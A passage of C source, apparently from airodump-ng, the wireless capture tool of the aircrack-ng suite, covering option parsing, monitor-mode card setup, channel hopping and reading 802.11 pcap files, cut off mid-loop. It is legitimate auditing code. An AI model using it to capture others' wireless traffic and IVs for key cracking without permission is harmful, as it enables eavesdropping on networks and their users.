{"ht40+", 0, 0, '5'},
{"band", 1, 0, 'b'},
{"beacon", 0, 0, 'e'},
{"beacons", 0, 0, 'e'},
{"cswitch", 1, 0, 's'},
{"netmask", 1, 0, 'm'},
{"bssid", 1, 0, 'd'},
{"essid", 1, 0, 'N'},
{"essid-regex", 1, 0, 'R'},
{"channel", 1, 0, 'c'},
{"ignore-other-chans", 0, 0, 'O'},
{"gpsd", 0, 0, 'g'},
{"ivs", 0, 0, 'i'},
{"write", 1, 0, 'w'},
{"encrypt", 1, 0, 't'},
{"update", 1, 0, 'u'},
{"berlin", 1, 0, 'B'},
{"help", 0, 0, 'H'},
{"nodecloak", 0, 0, 'D'},
{"showack", 0, 0, 'A'},
{"detect-anomaly", 0, 0, 'E'},
{"output-format", 1, 0, 'o'},
{"ignore-negative-one", 0, &opt.ignore_negative_one, 1},
{"manufacturer", 0, 0, 'M'},
{"uptime", 0, 0, 'U'},
{"write-interval", 1, 0, 'I'},
{"wps", 0, 0, 'W'},
{"background", 1, 0, 'K'},
{"min-packets", 1, 0, 'n'},
{"min-power", 1, 0, 'p'},
{"min-rxq", 1, 0, 'q'},
{"real-time", 0, 0, 'T'},
{0, 0, 0, 0}};
pid_t main_pid = getpid();
console_utf8_enable();
ac_crypto_init();
ALLEGE(pthread_mutex_init(&(lopt.mx_print), NULL) == 0);
ALLEGE(pthread_mutex_init(&(lopt.mx_sort), NULL) == 0);
textstyle(TEXT_RESET); //(TEXT_RESET, TEXT_BLACK, TEXT_WHITE);
/* initialize a bunch of variables */
rand_init();
memset(&opt, 0, sizeof(opt));
memset(&lopt, 0, sizeof(lopt));
h80211 = NULL;
ivs_only = 0;
lopt.chanoption = 0;
lopt.ignore_other_channels = 0;
lopt.freqoption = 0;
lopt.num_cards = 0;
fdh = 0;
time_slept = 0;
lopt.batt = NULL;
lopt.chswitch = 0;
opt.usegpsd = 0;
lopt.channels = (int *) bg_chans;
lopt.one_beacon = 1;
lopt.singlechan = 0;
lopt.singlefreq = 0;
lopt.dump_prefix = NULL;
opt.record_data = 0;
opt.f_cap = NULL;
opt.f_ivs = NULL;
opt.f_txt = NULL;
opt.f_kis = NULL;
opt.f_kis_xml = NULL;
opt.f_gps = NULL;
opt.f_logcsv = NULL;
lopt.keyout = NULL;
opt.f_xor = NULL;
opt.sk_len = 0;
opt.sk_len2 = 0;
opt.sk_start = 0;
opt.prefix = NULL;
lopt.f_encrypt = 0;
lopt.asso_station = 0;
lopt.unasso_station = 0;
lopt.f_essid = NULL;
lopt.f_essid_count = 0;
lopt.active_scan_sim = 0;
lopt.update_s = 0;
lopt.decloak = 1;
lopt.is_berlin = 0;
lopt.numaps = 0;
lopt.maxnumaps = 0;
lopt.berlin = 120;
lopt.show_ap = 1;
lopt.show_sta = 1;
lopt.show_ack = 0;
lopt.hide_known = 0;
lopt.maxsize_essid_seen = 5; // Initial value: length of "ESSID"
lopt.show_manufacturer = 0;
lopt.show_uptime = 0;
lopt.hopfreq = DEFAULT_HOPFREQ;
opt.s_file = NULL;
lopt.s_iface = NULL;
lopt.f_cap_in = NULL;
lopt.detect_anomaly = 0;
lopt.airodump_start_time = NULL;
lopt.manufList = NULL;
opt.output_format_pcap = 1;
opt.output_format_csv = 1;
opt.output_format_kismet_csv = 1;
opt.output_format_kismet_netxml = 1;
opt.output_format_log_csv = 1;
lopt.gps_valid_interval
= 5; // If we dont get a new GPS update in 5 seconds - invalidate it
lopt.file_write_interval = 5; // Write file every 5 seconds by default
lopt.maxsize_wps_seen = 6;
lopt.show_wps = 0;
lopt.background_mode = -1;
lopt.do_exit = 0;
lopt.min_pkts = 2;
lopt.min_power = -120;
lopt.min_rxq = -1;
lopt.relative_time = 0;
lopt.color_on = 0;
lopt.color = TEXT_GREEN;
#ifdef CONFIG_LIBNL
lopt.htval = CHANNEL_NO_HT;
#endif
#if defined HAVE_PCRE2 || defined HAVE_PCRE
lopt.f_essid_regex = NULL;
#endif
// Default selection.
resetSelection();
memset(opt.sharedkey, '\x00', sizeof(opt.sharedkey));
memset(lopt.message, '\x00', sizeof(lopt.message));
memset(&lopt.pfh_in, '\x00', sizeof(struct pcap_file_header));
gettimeofday(&tv0, NULL);
lt = localtime(&tv0.tv_sec);
lopt.keyout = (char *) malloc(512);
ALLEGE(lopt.keyout != NULL);
memset(lopt.keyout, 0, 512);
snprintf(lopt.keyout,
511,
"keyout-%02d%02d-%02d%02d%02d.keys",
lt->tm_mon + 1,
lt->tm_mday,
lt->tm_hour,
lt->tm_min,
lt->tm_sec);
for (i = 0; i < MAX_CARDS; i++)
{
fd_raw[i] = -1;
lopt.channel[i] = 0;
}
lopt.rBSSID = (pMAC_t) malloc(sizeof(struct MAC_list));
ALLEGE(lopt.rBSSID != NULL);
memset(lopt.rBSSID, 0, sizeof(struct MAC_list));
memset(opt.f_netmask, '\x00', 6);
memset(lopt.wpa_bssid, '\x00', 6);
/* check the arguments */
for (i = 0; long_options[i].name != NULL; i++)
;
num_opts = i;
for (i = 0; i < argc; i++) // go through all arguments
{
found = 0;
if (strlen(argv[i]) >= 3)
{
if (argv[i][0] == '-' && argv[i][1] != '-')
{
// we got a single dash followed by at least 2 chars
// lets check that against our long options to find errors
for (j = 0; j < num_opts; j++)
{
if (strcmp(argv[i] + 1, long_options[j].name) == 0)
{
// found long option after single dash
found = 1;
if (i > 1 && strcmp(argv[i - 1], "-") == 0)
{
// separated dashes?
printf("Notice: You specified \"%s %s\". Did you "
"mean \"%s%s\" instead?\n",
argv[i - 1],
argv[i],
argv[i - 1],
argv[i]);
}
else
{
// forgot second dash?
printf("Notice: You specified \"%s\". Did you mean "
"\"-%s\" instead?\n",
argv[i],
argv[i]);
}
break;
}
}
if (found)
{
sleep(3);
break;
}
}
}
}
do
{
option_index = 0;
option = getopt_long(
argc,
argv,
"b:c:Oegiw:s:t:u:m:d:N:R:azHDB:Ahf:r:EC:o:x:MUI:WK:n:p:q:T",
long_options,
&option_index);
if (option < 0) break;
switch (option)
{
case 0:
break;
case ':':
case '?':
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
case 'K':
{
char * invalid_str = NULL;
long int bg_mode = strtol(optarg, &invalid_str, 10);
if ((invalid_str && *invalid_str != 0)
|| !(bg_mode == 0 || bg_mode == 1))
{
printf("Invalid background mode. Must be '0' or '1'\n");
exit(EXIT_FAILURE);
}
lopt.background_mode = (char) bg_mode;
break;
}
case 'I':
if (!is_string_number(optarg))
{
printf("Error: Write interval is not a number (>0). "
"Aborting.\n");
exit(EXIT_FAILURE);
}
lopt.file_write_interval = (int) strtol(optarg, NULL, 10);
if (lopt.file_write_interval <= 0)
{
printf("Error: Write interval must be greater than 0. "
"Aborting.\n");
exit(EXIT_FAILURE);
}
break;
case 'T':
lopt.relative_time = 1;
break;
case 'E':
lopt.detect_anomaly = 1;
break;
case 'e':
lopt.one_beacon = 0;
break;
case 'a':
lopt.asso_station = 1;
break;
case 'z':
lopt.unasso_station = 1;
break;
case 'A':
lopt.show_ack = 1;
break;
case 'h':
lopt.hide_known = 1;
break;
case 'D':
lopt.decloak = 0;
break;
case 'M':
lopt.show_manufacturer = 1;
break;
case 'U':
lopt.show_uptime = 1;
break;
case 'W':
lopt.show_wps = 1;
break;
case 'c':
if (lopt.channel[0] > 0 || lopt.chanoption == 1)
{
if (lopt.chanoption == 1)
printf("Notice: Channel range already given\n");
else
printf("Notice: Channel already given (%d)\n",
lopt.channel[0]);
break;
}
lopt.channel[0] = getchannels(optarg);
if (lopt.channel[0] < 0)
{
airodump_usage();
return (EXIT_FAILURE);
}
lopt.chanoption = 1;
if (lopt.channel[0] == 0)
{
lopt.channels = lopt.own_channels;
break;
}
lopt.channels = (int *) bg_chans;
break;
case 'O':
lopt.ignore_other_channels = 1;
break;
case 'C':
if (lopt.channel[0] > 0 || lopt.chanoption == 1)
{
if (lopt.chanoption == 1)
printf("Notice: Channel range already given\n");
else
printf("Notice: Channel already given (%d)\n",
lopt.channel[0]);
break;
}
if (lopt.freqoption == 1)
{
printf("Notice: Frequency range already given\n");
break;
}
lopt.freqstring = optarg;
lopt.freqoption = 1;
break;
case 'b':
if (lopt.chanoption == 1)
{
printf("Notice: Channel range already given\n");
break;
}
freq[0] = freq[1] = 0;
for (i = 0; i < (int) strlen(optarg); i++) //-V814
{
if (optarg[i] == 'a')
freq[1] = 1;
else if (optarg[i] == 'b' || optarg[i] == 'g')
freq[0] = 1;
else
{
printf("Error: invalid band (%c)\n", optarg[i]);
printf("\"%s --help\" for help.\n", argv[0]);
exit(EXIT_FAILURE);
}
}
if (freq[1] + freq[0] == 2)
lopt.channels = (int *) abg_chans;
else
{
if (freq[1] == 1)
lopt.channels = (int *) a_chans;
else
lopt.channels = (int *) bg_chans;
}
break;
case 'i':
// Reset output format if it's the first time the option is
// specified
if (output_format_first_time)
{
output_format_first_time = 0;
opt.output_format_pcap = 0;
opt.output_format_csv = 0;
opt.output_format_kismet_csv = 0;
opt.output_format_kismet_netxml = 0;
opt.output_format_log_csv = 0;
}
if (opt.output_format_pcap)
{
airodump_usage();
fprintf(stderr,
"Invalid output format: IVS and PCAP "
"format cannot be used together.\n");
return (EXIT_FAILURE);
}
ivs_only = 1;
break;
case 'g':
opt.usegpsd = 1;
break;
case 'w':
if (lopt.dump_prefix != NULL)
{
printf("Notice: dump prefix already given\n");
break;
}
/* Write prefix */
lopt.dump_prefix = optarg;
opt.record_data = 1;
break;
case 'r':
if (opt.s_file)
{
printf("Packet source already specified.\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
opt.s_file = optarg;
break;
case 's':
if (strtol(optarg, NULL, 10) > 2 || errno == EINVAL)
{
airodump_usage();
return (EXIT_FAILURE);
}
if (lopt.chswitch != 0)
{
printf("Notice: switching method already given\n");
break;
}
lopt.chswitch = (int) strtol(optarg, NULL, 10);
break;
case 'u':
lopt.update_s = (int) strtol(optarg, NULL, 10);
/* If failed to parse or value <= 0, use default, 100ms */
if (lopt.update_s <= 0) lopt.update_s = REFRESH_RATE;
break;
case 'f':
lopt.hopfreq = (int) strtol(optarg, NULL, 10);
/* If failed to parse or value <= 0, use default, 100ms */
if (lopt.hopfreq <= 0) lopt.hopfreq = DEFAULT_HOPFREQ;
break;
case 'B':
lopt.is_berlin = 1;
lopt.berlin = (int) strtol(optarg, NULL, 10);
if (lopt.berlin <= 0) lopt.berlin = 120;
break;
case 'm':
if (memcmp(opt.f_netmask, NULL_MAC, 6) != 0)
{
printf("Notice: netmask already given\n");
break;
}
if (getmac(optarg, 1, opt.f_netmask) != 0)
{
printf("Notice: invalid netmask\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
break;
case 'd':
if (getmac(optarg, 1, mac) == 0)
{
addMAC(lopt.rBSSID, mac);
}
else
{
printf("Notice: invalid bssid\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
break;
case 'N':
lopt.f_essid_count++;
lopt.f_essid = (char **) realloc( //-V701
lopt.f_essid,
lopt.f_essid_count * sizeof(char *));
ALLEGE(lopt.f_essid != NULL);
lopt.f_essid[lopt.f_essid_count - 1] = optarg;
break;
case 'R':
#if defined HAVE_PCRE2 || defined HAVE_PCRE
if (lopt.f_essid_regex != NULL)
{
printf("Error: ESSID regular expression already given. "
"Aborting\n");
exit(EXIT_FAILURE);
}
lopt.f_essid_regex
= COMPAT_PCRE_COMPILE(optarg, &pcreerror, &pcreerroffset);
if (lopt.f_essid_regex == NULL)
{
#ifdef HAVE_PCRE2
pcre2_get_error_message(
pcreerror, pcreerrorbuf, sizeof(pcreerrorbuf));
COMPAT_PCRE_PRINT_ERROR(pcreerroffset, pcreerrorbuf);
#elif defined HAVE_PCRE
COMPAT_PCRE_PRINT_ERROR(pcreerroffset, pcreerror);
#endif
exit(EXIT_FAILURE);
}
#else
printf("Error: Airodump-ng wasn't compiled with PCRE support; "
"aborting\n");
#endif
break;
case 't':
set_encryption_filter(optarg);
break;
case 'n':
lopt.min_pkts = strtoul(optarg, NULL, 10);
break;
case 'p':
if (sscanf(optarg, "%" SCNd16, &lopt.min_power) != 1)
{
printf("Error: invalid --min-power (or -p) value\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
break;
case 'q':
if ((sscanf(optarg, "%" SCNd8, &lopt.min_rxq) != 1)
|| (lopt.min_rxq > 100) || (lopt.min_rxq < 0))
{
printf("Error: invalid --min-rxq (or -q) value (valid "
"range: 0..100)\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
break;
case 'o':
// Reset output format if it's the first time the option is
// specified
if (output_format_first_time)
{
output_format_first_time = 0;
opt.output_format_pcap = 0;
opt.output_format_csv = 0;
opt.output_format_kismet_csv = 0;
opt.output_format_kismet_netxml = 0;
opt.output_format_log_csv = 0;
}
// Parse the value
output_format_string = strtok(optarg, ",");
while (output_format_string != NULL)
{
if (*output_format_string != '\0')
{
if (strncasecmp(output_format_string, "csv", 3) == 0
|| strncasecmp(output_format_string, "txt", 3) == 0)
{
opt.output_format_csv = 1;
}
else if (strncasecmp(output_format_string, "pcap", 4)
== 0
|| strncasecmp(output_format_string, "cap", 3)
== 0)
{
if (ivs_only)
{
airodump_usage();
fprintf(stderr,
"Invalid output format: IVS "
"and PCAP format cannot be "
"used together.\n");
return (EXIT_FAILURE);
}
opt.output_format_pcap = 1;
}
else if (strncasecmp(output_format_string, "ivs", 3)
== 0)
{
if (opt.output_format_pcap)
{
airodump_usage();
fprintf(stderr,
"Invalid output format: IVS "
"and PCAP format cannot be "
"used together.\n");
return (EXIT_FAILURE);
}
ivs_only = 1;
}
else if (strncasecmp(output_format_string, "kismet", 6)
== 0)
{
opt.output_format_kismet_csv = 1;
}
else if (strncasecmp(output_format_string, "gps", 3)
== 0)
{
opt.usegpsd = 1;
}
else if (strncasecmp(output_format_string, "netxml", 6)
== 0
|| strncasecmp(
output_format_string, "newcore", 7)
== 0
|| strncasecmp(
output_format_string, "kismet-nc", 9)
== 0
|| strncasecmp(
output_format_string, "kismet_nc", 9)
== 0
|| strncasecmp(output_format_string,
"kismet-newcore",
14)
== 0
|| strncasecmp(output_format_string,
"kismet_newcore",
14)
== 0)
{
opt.output_format_kismet_netxml = 1;
}
else if (strncasecmp(output_format_string, "logcsv", 6)
== 0)
{
opt.output_format_log_csv = 1;
}
else if (strncasecmp(output_format_string, "default", 7)
== 0)
{
opt.output_format_pcap = 1;
opt.output_format_csv = 1;
opt.output_format_kismet_csv = 1;
opt.output_format_kismet_netxml = 1;
}
else if (strncasecmp(output_format_string, "none", 4)
== 0)
{
opt.output_format_pcap = 0;
opt.output_format_csv = 0;
opt.output_format_kismet_csv = 0;
opt.output_format_kismet_netxml = 0;
opt.output_format_log_csv = 0;
opt.usegpsd = 0;
ivs_only = 0;
}
else
{
// Display an error if it does not match any value
fprintf(stderr,
"Invalid output format: <%s>\n",
output_format_string);
exit(EXIT_FAILURE);
}
}
output_format_string = strtok(NULL, ",");
}
break;
case 'H':
airodump_usage();
return (EXIT_SUCCESS);
case 'x':
lopt.active_scan_sim = (int) strtol(optarg, NULL, 10);
if (lopt.active_scan_sim <= 0) lopt.active_scan_sim = 0;
break;
case '2':
#ifndef CONFIG_LIBNL
printf("HT Channel unsupported\n");
return (EXIT_FAILURE);
#else
lopt.htval = CHANNEL_HT20;
#endif
break;
case '3':
#ifndef CONFIG_LIBNL
printf("HT Channel unsupported\n");
return (EXIT_FAILURE);
#else
lopt.htval = CHANNEL_HT40_MINUS;
#endif
break;
case '5':
#ifndef CONFIG_LIBNL
printf("HT Channel unsupported\n");
return (EXIT_FAILURE);
#else
lopt.htval = CHANNEL_HT40_PLUS;
#endif
break;
default:
airodump_usage();
return (EXIT_FAILURE);
}
} while (1);
if (argc - optind != 1 && opt.s_file == NULL)
{
if (argc == 1)
{
airodump_usage();
}
if (argc - optind == 0)
{
printf("No interface specified.\n");
}
if (argc > 1)
{
printf("\"%s --help\" for help.\n", argv[0]);
}
return (EXIT_FAILURE);
}
if (argc - optind == 1) lopt.s_iface = argv[argc - 1];
if ((memcmp(opt.f_netmask, NULL_MAC, 6) != 0)
&& (getMACcount(lopt.rBSSID) == 0))
{
printf("Notice: specify bssid \"--bssid\" with \"--netmask\"\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
if (lopt.ignore_other_channels && !lopt.chanoption)
{
printf("Error: --ignore-other-chans requires --channel (or -c)\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
if ((lopt.min_rxq != -1) && !(lopt.chanoption || lopt.freqoption))
{
printf("Error: --min-rxq (or -q) requires --channel (or -c) or -C\n");
printf("\"%s --help\" for help.\n", argv[0]);
return (EXIT_FAILURE);
}
if (lopt.show_wps && lopt.show_manufacturer)
lopt.maxsize_essid_seen += lopt.maxsize_wps_seen;
if (lopt.s_iface != NULL)
{
/* initialize cards */
lopt.num_cards = init_cards(lopt.s_iface, iface, wi);
if (lopt.num_cards <= 0 || lopt.num_cards >= MAX_CARDS)
{
printf("Failed initializing wireless card(s): %s\n", lopt.s_iface);
return (EXIT_FAILURE);
}
for (i = 0; i < lopt.num_cards; i++)
{
fd_raw[i] = wi_fd(wi[i]);
if (fd_raw[i] > fdh) fdh = fd_raw[i];
}
if (lopt.freqoption == 1 && lopt.freqstring != NULL) // use frequencies
{
detect_frequencies(wi[0]);
lopt.frequency[0] = getfrequencies(lopt.freqstring);
if (lopt.frequency[0] == -1)
{
printf("No valid frequency given.\n");
return (EXIT_FAILURE);
}
rearrange_frequencies();
freq_count = getfreqcount(0);
/* find the interface index */
/* start a child to hop between frequencies */
if (lopt.frequency[0] == 0)
{
IGNORE_NZ(pipe(lopt.ch_pipe));
IGNORE_NZ(pipe(lopt.cd_pipe));
struct sigaction action;
action.sa_flags = 0;
action.sa_handler = &sighandler;
sigemptyset(&action.sa_mask);
if (sigaction(SIGUSR1, &action, NULL) == -1)
perror("sigaction(SIGUSR1)");
if (!fork())
{
/* reopen cards. This way parent & child don't share
* resources for
* accessing the card (e.g. file descriptors) which may cause
* problems. -sorbo
*/
for (i = 0; i < lopt.num_cards; i++)
{
strlcpy(ifnam, wi_get_ifname(wi[i]), sizeof(ifnam));
wi_close(wi[i]);
wi[i] = wi_open(ifnam);
if (!wi[i])
{
printf("Can't reopen %s\n", ifnam);
exit(EXIT_FAILURE);
}
}
/* Drop privileges */
if (setuid(getuid()) == -1)
{
perror("setuid");
}
frequency_hopper(wi, lopt.num_cards, freq_count, main_pid);
exit(EXIT_FAILURE);
}
}
else
{
for (i = 0; i < lopt.num_cards; i++)
{
wi_set_freq(wi[i], lopt.frequency[0]);
lopt.frequency[i] = lopt.frequency[0];
}
lopt.singlefreq = 1;
}
}
else // use channels
{
chan_count = getchancount(0);
/* find the interface index */
/* start a child to hop between channels */
if (lopt.channel[0] == 0)
{
IGNORE_NZ(pipe(lopt.ch_pipe));
IGNORE_NZ(pipe(lopt.cd_pipe));
struct sigaction action;
action.sa_flags = 0;
action.sa_handler = &sighandler;
sigemptyset(&action.sa_mask);
if (sigaction(SIGUSR1, &action, NULL) == -1)
perror("sigaction(SIGUSR1)");
if (!fork())
{
/* reopen cards. This way parent & child don't share
* resources for
* accessing the card (e.g. file descriptors) which may cause
* problems. -sorbo
*/
for (i = 0; i < lopt.num_cards; i++)
{
strlcpy(ifnam, wi_get_ifname(wi[i]), sizeof(ifnam));
wi_close(wi[i]);
wi[i] = wi_open(ifnam);
if (!wi[i])
{
printf("Can't reopen %s\n", ifnam);
exit(EXIT_FAILURE);
}
}
/* Drop privileges */
if (setuid(getuid()) == -1)
{
perror("setuid");
}
channel_hopper(wi, lopt.num_cards, chan_count, main_pid);
exit(EXIT_FAILURE);
}
}
else
{
for (i = 0; i < lopt.num_cards; i++)
{
#ifdef CONFIG_LIBNL
wi_set_ht_channel(wi[i], lopt.channel[0], lopt.htval);
#else
wi_set_channel(wi[i], lopt.channel[0]);
#endif
lopt.channel[i] = lopt.channel[0];
}
lopt.singlechan = 1;
}
}
}
/* Drop privileges */
if (setuid(getuid()) == -1)
{
perror("setuid");
}
/* check if there is an input file */
if (opt.s_file != NULL)
{
if (!(lopt.f_cap_in = fopen(opt.s_file, "rb")))
{
perror("open failed");
return (EXIT_FAILURE);
}
n = sizeof(struct pcap_file_header);
if (fread(&lopt.pfh_in, 1, (size_t) n, lopt.f_cap_in) != (size_t) n)
{
perror("fread(pcap file header) failed");
return (EXIT_FAILURE);
}
if (lopt.pfh_in.magic != TCPDUMP_MAGIC
&& lopt.pfh_in.magic != TCPDUMP_CIGAM)
{
fprintf(stderr,
"\"%s\" isn't a pcap file (expected "
"TCPDUMP_MAGIC).\n",
opt.s_file);
return (EXIT_FAILURE);
}
if (lopt.pfh_in.magic == TCPDUMP_CIGAM) SWAP32(lopt.pfh_in.linktype);
if (lopt.pfh_in.linktype != LINKTYPE_IEEE802_11
&& lopt.pfh_in.linktype != LINKTYPE_PRISM_HEADER
&& lopt.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR
&& lopt.pfh_in.linktype != LINKTYPE_PPI_HDR)
{
fprintf(stderr,
"Wrong linktype from pcap file header "
"(expected LINKTYPE_IEEE802_11) -\n"
"this doesn't look like a regular 802.11 "
"capture.\n");
return (EXIT_FAILURE);
}
}
/* open or create the output files */
if (opt.record_data)
if (dump_initialize_multi_format(lopt.dump_prefix, ivs_only))
return (EXIT_FAILURE);
struct sigaction action;
action.sa_flags = 0;
action.sa_handler = &sighandler;
sigemptyset(&action.sa_mask);
if (sigaction(SIGINT, &action, NULL) == -1) perror("sigaction(SIGINT)");
if (sigaction(SIGSEGV, &action, NULL) == -1) perror("sigaction(SIGSEGV)");
if (sigaction(SIGTERM, &action, NULL) == -1) perror("sigaction(SIGTERM)");
if (sigaction(SIGWINCH, &action, NULL) == -1) perror("sigaction(SIGWINCH)");
/* fill oui struct if ram is greater than 32 MB */
if (get_ram_size() > MIN_RAM_SIZE_LOAD_OUI_RAM)
{
lopt.manufList = load_oui_file();
}
/* start the GPS tracker */
if (opt.usegpsd)
{
if (pthread_create(&lopt.gps_tid, NULL, &gps_tracker_thread, NULL) != 0)
{
perror("Could not create GPS thread");
return (EXIT_FAILURE);
}
usleep(50000);
waitpid(-1, NULL, WNOHANG);
}
hide_cursor();
erase_display(2);
start_time = time(NULL);
tt1 = time(NULL);
tt2 = time(NULL);
gettimeofday(&tv3, NULL);
gettimeofday(&tv4, NULL);
lopt.batt = getBatteryString();
lopt.elapsed_time = (char *) calloc(1, 4);
if (lopt.elapsed_time == NULL)
{
perror("Error allocating memory");
return (EXIT_FAILURE);
}
strlcpy(lopt.elapsed_time, "0 s", 4);
/* Create start time string for kismet netxml file */
lopt.airodump_start_time = (char *) calloc(1, 1000 * sizeof(char));
ALLEGE(lopt.airodump_start_time != NULL);
strlcpy(lopt.airodump_start_time, ctime(&start_time), 1000);
lopt.airodump_start_time[strlen(lopt.airodump_start_time) - 1]
= 0; // remove new line
lopt.airodump_start_time = (char *) realloc( //-V701
lopt.airodump_start_time,
sizeof(char) * (strlen(lopt.airodump_start_time) + 1));
ALLEGE(lopt.airodump_start_time != NULL);
// Do not start the interactive mode input thread if running in the
// background
if (lopt.background_mode == -1) lopt.background_mode = is_background();
if (!lopt.background_mode
&& pthread_create(&(lopt.input_tid), NULL, &input_thread, NULL) != 0)
{
perror("pthread_create failed");
return (EXIT_FAILURE);
}
while (1)
{
if (lopt.do_exit)
{
break;
}
if (time(NULL) - tt1 >= lopt.file_write_interval)
{
/* update the text output files */
tt1 = time(NULL);
if (opt.output_format_csv)
dump_write_csv(lopt.ap_1st, lopt.st_1st, lopt.f_encrypt);
if (opt.output_format_kismet_csv)
dump_write_kismet_csv(lopt.ap_1st, lopt.st_1st, lopt.f_encrypt);
if (opt.output_format_kismet_netxml)
dump_write_kismet_netxml(lopt.ap_1st,
lopt.st_1st,
lopt.f_encrypt,
lopt.airodump_start_time);
}
if (time(NULL) - tt2 > 5)
{
if (lopt.sort_by != SORT_BY_NOTHING)
{
/* sort the APs by power */
ALLEGE(pthread_mutex_lock(&(lopt.mx_sort)) == 0);
dump_sort();
ALLEGE(pthread_mutex_unlock(&(lopt.mx_sort)) == 0);
}
/* update the battery state */
free(lopt.batt);
lopt.batt = NULL;
tt2 = time(NULL);
lopt.batt = getBatteryString();
/* update elapsed time */
free(lopt.elapsed_time);
lopt.elapsed_time = NULL;
lopt.elapsed_time = getStringTimeFromSec(difftime(tt2, start_time));
/* flush the output files */
if (opt.f_cap != NULL) fflush(opt.f_cap);
if (opt.f_ivs != NULL) fflush(opt.f_ivs);
}
gettimeofday(&tv1, NULL);
cycle_time = 1000000UL * (tv1.tv_sec - tv3.tv_sec)
+ (tv1.tv_usec - tv3.tv_usec);
cycle_time2 = 1000000UL * (tv1.tv_sec - tv4.tv_sec)
+ (tv1.tv_usec - tv4.tv_usec);
if (lopt.active_scan_sim > 0
&& cycle_time2 > lopt.active_scan_sim * 1000)
{
gettimeofday(&tv4, NULL);
send_probe_requests(wi, lopt.num_cards);
}
if (cycle_time > 500000)
{
gettimeofday(&tv3, NULL);
update_rx_quality();
if (lopt.s_iface != NULL)
{
check_monitor(wi, fd_raw, &fdh, lopt.num_cards);
if (lopt.singlechan) check_channel(wi, lopt.num_cards);
if (lopt.singlefreq) check_frequency(wi, lopt.num_cards);
}
}
if (opt.s_file != NULL)
{
static struct timeval prev_tv = {0, 0};
/* Read one packet */
n = sizeof(pkh);
if (fread(&pkh, (size_t) n, 1, lopt.f_cap_in) != 1)
{
memset(lopt.message, '\x00', sizeof(lopt.message));
snprintf(lopt.message,
sizeof(lopt.message),
"][ Finished reading input file %s.",
opt.s_file);
opt.s_file = NULL;
continue;
}
if (lopt.pfh_in.magic == TCPDUMP_CIGAM)
{
SWAP32(pkh.caplen);
SWAP32(pkh.len);
}
n = caplen = pkh.caplen;
memset(buffer, 0, sizeof(buffer));
h80211 = buffer;
if (n <= 0 || n > (int) sizeof(buffer))
{
memset(lopt.message, '\x00', sizeof(lopt.message));
snprintf(lopt.message,
sizeof(lopt.message),
"][ Finished reading input file %s.",
opt.s_file);
opt.s_file = NULL;
continue;
}
if (fread(h80211, (size_t) n, 1, lopt.f_cap_in) != 1)
{
memset(lopt.message, '\x00', sizeof(lopt.message));
snprintf(lopt.message,
sizeof(lopt.message),
"][ Finished reading input file %s.",
opt.s_file);
opt.s_file = NULL;
continue;
}
if (lopt.pfh_in.linktype == LINKTYPE_PRISM_HEADER)
{
if (h80211[7] == 0x40)
{
n = 64;
ri.ri_power = -((int32_t) load32_le(h80211 + 0x33));
ri.ri_noise = (int32_t) load32_le(h80211 + 0x33 + 12);
ri.ri_rate = load32_le(h80211 + 0x33 + 24) * 500000;
}
else
{
n = load32_le(h80211 + 4);
ri.ri_mactime = load64_le(h80211 + 0x5C - 48);
ri.ri_channel = load32_le(h80211 + 0x5C - 36);
ri.ri_power = -((int32_t) load32_le(h80211 + 0x5C));
ri.ri_noise = (int32_t) load32_le(h80211 + 0x5C + 12);
ri.ri_rate = load32_le(h80211 + 0x5C + 24) * 500000;
}
if (n < 8 || n >= caplen) continue;
memcpy(tmpbuf, h80211, (size_t) caplen);
caplen -= n;
memcpy(h80211, tmpbuf + n, (size_t) caplen);
}
if (lopt.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
{
/* remove the radiotap header */
n = load16_le(h80211 + 2);
if (n <= 0 || n >= caplen) continue;
int got_signal = 0;
int got_noise = 0;
struct ieee80211_radiotap_iterator iterator;
struct ieee80211_radiotap_header * rthdr;
rthdr = (struct ieee80211_radiotap_header *) h80211;
if (ieee80211_radiotap_iterator_init(
&iterator, rthdr, caplen, NULL)
< 0)
continue;
/* go through the radiotap arguments we have been given
* by the driver
*/
while (ieee80211_radiotap_iterator_next(&iterator) >= 0)
{
switch (iterator.this_arg_index)
{
case IEEE80211_RADIOTAP_TSFT:
ri.ri_mactime = le64_to_cpu(
*((uint64_t *) iterator.this_arg));
break;
case IEEE80211_RADIOTAP_DBM_ANTSIGNAL:
case IEEE80211_RADIOTAP_DB_ANTSIGNAL:
if (!got_signal)
{
if (*iterator.this_arg < 127)
ri.ri_power = *iterator.this_arg;
else
ri.ri_power = *iterator.this_arg - 255;
got_signal = 1;
}
break;
case IEEE80211_RADIOTAP_DBM_ANTNOISE:
case IEEE80211_RADIOTAP_DB_ANTNOISE:
if (!got_noise)
{
if (*iterator.this_arg < 127)
ri.ri_noise = *iterator.this_arg;
else
ri.ri_noise = *iterator.this_arg - 255;
got_noise = 1;
}
break;
case IEEE80211_RADIOTAP_ANTENNA:
ri.ri_antenna = *iterator.this_arg;
break;
case IEEE80211_RADIOTAP_CHANNEL:
ri.ri_channel = getChannelFromFrequency(
le16toh(*(uint16_t *) iterator.this_arg));
break;
case IEEE80211_RADIOTAP_RATE:
ri.ri_rate = (*iterator.this_arg) * 500000;
break;
}
}
memcpy(tmpbuf, h80211, (size_t) caplen);
caplen -= n;
memcpy(h80211, tmpbuf + n, (size_t) caplen);
}
if (lopt.pfh_in.linktype == LINKTYPE_PPI_HDR)
{
/* remove the PPI header */
n = load16_le(h80211 + 2);
if (n <= 0 || n >= caplen) continue;
/* for a while Kismet logged broken PPI headers */
if (n == 24 && load16_le(h80211 + 8) == 2) n = 32;
if (n <= 0 || n >= caplen) continue; //-V560
memcpy(tmpbuf, h80211, (size_t) caplen);
caplen -= n;
memcpy(h80211, tmpbuf + n, (size_t) caplen);
}
read_pkts++;
if (lopt.relative_time && prev_tv.tv_sec != 0
&& prev_tv.tv_usec != 0)
{
// handle delaying this packet
struct timeval pkt_tv;
